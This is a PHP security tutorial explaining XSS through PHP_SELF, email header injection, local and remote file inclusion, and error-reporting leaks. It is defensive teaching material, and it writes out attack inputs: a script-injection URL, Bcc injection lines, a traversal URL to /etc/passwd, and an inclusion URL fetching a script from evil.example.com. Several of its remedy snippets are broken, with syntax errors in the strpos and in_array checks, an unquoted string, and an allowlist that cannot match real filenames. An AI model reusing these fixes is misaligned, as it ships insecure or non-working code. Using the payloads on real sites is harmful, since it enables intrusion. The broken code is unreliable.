PHP Security

By Kevin Waterson

Contents

Abstract

One of the great benifits of PHP is its ease of access to new-comers. Its entry level is minimal and so attracts those looking for simple scripts to their sites. It is this same ease of access that becomes a problem as the new-comers begin to deal with input from users. Failure to adequately validate and sanitize data is the leading cause of security problems when dealing with PHP. This is, of course, not limitted to new-comers, and seasoned programmers rushing to meet deadlines who take short cuts in a bid to get the job out the door are just as likely to omit basic security principles. Three of the most important principles for PHP security are:

Never Trust User Input

Never Trust User Input

Never Trust User Input

By absorbing these principles and applying them to all scripts and applications, regardless of the level of development, programmers can be sure their script will be a lot more secure. This tutorial explores some of the most common security issues faced when dealing with PHP.

PHP_SELF

The PHP super globals array is a great tool for accessing various input globally from scripts. The $_SERVER super global array contains a very useful member $_SERVER['PHP_SELF']. This globally available, predefined variable provides the filename of the currently executing script. However, it is vulnerable to cross site scripting (XSS) attacks. On its own it works fine as this example shows.

```
<?php
```

```
    echo $_SERVER['PHP_SELF'];
?>
```

The above script will echo the current filename that is being executed, however, lets add on a litte of our own javascript.

```
<?phpecho $_SERVER['PHP_SELF'].'/<script>alert("XSS
HERE");</script>';?>
```

Now when the file is accessed a javascript alert is generated and pops up on the screen. This same behavior can be created by inserting the javascript into the URL.

```
<?php
        echo $_SERVER['PHP_SELF'];
?>
```

The script above looks harmless enough, but if we name our file xss.php and access the url as http://localhost/xss.php%3Cscript%3Ealert(%22TROUBLE%20HERE%22);%3C/script%3E Then the XSS is complete.

The simple remedy to this is always santize PHP_SELF with a sanitizing function such as filter_var as follows.

```
<?phpecho filter_var($_SERVER['PHP_SELF'],
FILTER_SANITIZE_STRING);?>
```

Type and Length

The minimum checks on any variables coming from other sources is for type and length. These type of checks help to assure that the data that is being recieved is of a type and length that is expected. An example might be numeric value that is required. If the number needs to be between 1 and 10, and a user submits 999, then there is a possibility of causing an error or warning that is displayed in the browser. These warnings give information about the path of the script that caused the error and so, a malicious user, gains valuable information about the system for an attack.

PHP has many ways of checking user input with the Filter functions and possibly the most useful tool the strlen() function.

Email Header Injection

Email header injection is a leading cause of SPAM on the internet and comes from a simple omission when accepting user input from forms. Failure to adequately strip out possible injection characters leaves the headers easy prey to SPAMMERS, and when a

spammer uses a form to send tens of thousands of email around the world, it is that domain that will find its way onto black lists.

As an example, a simple contact form may have fields "name", "from", "subject" and "message". Lets look at a simple HTML form

```
<form action="submit_message" method="post">
Name: <input type="text" name="email_name" /><br />
Email: <input type="text" name="email_from" /><br />
Subject: <input type="text" name="email_subject" /><br />
Message: <textarea cols="10" rows="7">Message
Here</textarea><br />
Submit: <input type="submit" value="Send Email" />
</form>
```

Now lets create the submit_message.php file that this form would POST to.

```
<?php
    ##############################################
    ###                                        ###
    ###   WARNING DO NOT USE THIS SCRIPT       ###
    ###                                        ###
    ##############################################
    /*** a to header ***/
    $email_to = kevin@example.com;/*** who the email is from ***/
    $headers = 'From: ' . $_POST['email_from'];/*** the subject
***/
    $email_subject = $_POST['email_subject'];/*** the message ***/
    $email_message = 'Email from '.$_POST['email_name']."\n";
    $email_message .= $_POST['email_message'];/*** send the email
***/
    mail($email_to, $email_subject, $email_message, $headers);
?>
```

In the above example, anybody using their own form to submit to this script could simply add a new line to the headers and insert a BCC field or two or 10,000. If a malicious user were to enter a subject field like this
My Subject
Bcc: someone@example.com
Bcc: everybody@example.org
Then they will have successfully exploited the script by simply injecting newline characters followed by a Bcc field.

To prevent this behaviour, all POST variables that are to be used in the email headers must have any newline characters removed. This function from

http://www.phpro.org/examples/Sanitize-Email.html sanitizes the variables by removing any attempt to inject newline characters.

```
<?php/**
     *
     * @strip injection chars from email headers
     *
     * @param string $string
     *
     * return string
     *
     */
    function safeEmail($string)
    {
        return  preg_replace( '((?:\n|\r|\t|%0A|%0D|%08|%09)+)i' ,
'', $string );
    }
?>
```

Of course, this function should be used in conjuction with basic type and length checks.

Including Files

This is rather basic, but still many scripts exist with file inclusion from GET. Too often scripts appear with the following type of line

```
<?php
    include $_GET['filename'];
?>
```

The intent of the above script is clear, to open a file provided from the URL. Most often this is likely to be some sort of "module" page to be loaded, eg: a contact form. The url may look like this.
http://example.com/file.php?filename=contact.php

This is not a terrible idea, it just requires the right amount of precautions to be taken to be absolutely sure that the data being sent from the URL is what the script is expecting. Suppose for a moment, a malicious user were to enter a URL such as
http://example.com/file.php?filename=../../../etc/passwd

Now they have a copy of your system users, but even worse could be a malicious user entering a url to their own script such as
http://example.com/file.php?filename=http://evil.example.com/hacker_script.php

Now the user can not only include any file on the system, but is able to execute their own scripts on YOUR server.

The Fix

There are several ways to foil this type of directory traversal to include a script. Firstly, by blocking any attempt at traversal by checking for ..

```
<?php
    /*** check for directory traversal ***/
    if(strpos($_GET['filename', '..')
    {
        echo 'File not found';
    }
    else
    {
        include $_GET['filename'];
    }
?>
```

This method works to some degree, but is not enough on its own. If the malicious user enters a URL with an absolute path, the security is beaten. http://example.com/file.php?filename=/etc/passwd

Nor does the above method deal with the inclusion of remote files. A more secure method can be gained by creating an array of expected filenames and checking the value against it.

```
<?php
    /*** the array of allowed pages ***/
    $allowed_pages = array('index', 'contact', 'tutorials');/***
check if file name is in array ***/
    if(!in_array($_GET['filename']), $allowed_pages)
    {
        echo 'File not found';
    }
    else
    {
        /*** assign the file name ***/
        $file = $_GET['filename'];
        if(!file_exists($file))
        {
            echo 'File error';
        }
        else
        {
            /*** include the file ***/
            include $file;
```

```
        }
    }
?>
```

The above method gives much better protection against errors by checking the file is in the array of allowed pages. Then, a further check is placed to check that the file exists. Should an error occur, it is good practice not to taunt potential attackers with messages like "You Fail Loser" as this will only encourage them to try some other avenue. A simple message or a redirect is all that is needed, and if logging is available, use it.

Error Reporting

PHP contains many levels of error reporting and it is a very useful addition in the developers tool kit. By reporting runtime errors, error reporting lets the developer know what problem has occured, the path name and file name of the script that has the error, the function name that has possibly caused the error and the line number on which the error occured. Should a malicious user succeed in causing an error on a site, all this information about the system is gained from the error output.

To remedy this the php.ini setting display_errors should be turned off. This ensures if any sort of error occurs, no output is generated and potentially giving miscreants a free ride. If this setting is not turned off in php.ini, it can be turned off on a per script basis at runtime with the ini_set() function as follows.

```
<?php
    /*** turn off error reporting ***/
    ini_set('display_errors', 0);
?>
```

Of course, the errors should be recorded, so it is important that errors are logged so that the developer can debug any potential problems. If logging is not enable in php.ini, it can be activated with the ini_set function as follows.

```
<?php
    /*** turn on error logging ***/
    ini_set('log_errors', 1);
?>
```